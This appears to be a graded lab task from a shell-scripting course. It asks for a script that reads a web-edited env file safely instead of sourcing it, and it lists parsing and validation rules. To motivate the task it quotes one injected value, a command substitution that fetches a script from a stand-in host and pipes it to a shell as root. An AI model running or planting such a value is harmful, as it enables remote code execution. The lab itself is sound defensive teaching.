Load a Config File Without Running It
The deploy scripts do source /etc/app/app.env to read their settings. That file is edited through a web form, and a pen test showed that a value like $(curl evil.sh | sh) runs as root.
Write /home/student/bin/load-config.sh FILE that reads such a file without executing anything in it.
For every setting in FILE, print KEY=VALUE, one per line, sorted by key. Rules:
# (after optional spaces) are ignored.KEY=VALUE. Spaces around KEY and around the = are allowed and dropped; the value is everything after the first =, with spaces at both ends removed." or ', remove that pair (only the outer one).KEY must match [A-Za-z_][A-Za-z0-9_]*. A line with an invalid key, or without =, is skipped with a warning on stderr containing its line number (line N).$(…), backticks or $VAR is printed as is, never expanded or run.About this machine
Ubuntu 24.04 with no internet access. You are student with passwordless sudo. The grader checks the final state of the machine, not the commands you typed. Values like names and ports are generated for you.
Part of Shell Scripting for Automation. Next step: Stop Cleanly on SIGTERM
Teaching or writing about this? Embed this lab on your page
Your machine is ready to start
A fresh, isolated Ubuntu machine boots in a few seconds with the task already set up.
No account needed: 3 of 3 free tries left. Guest machines last 30 minutes.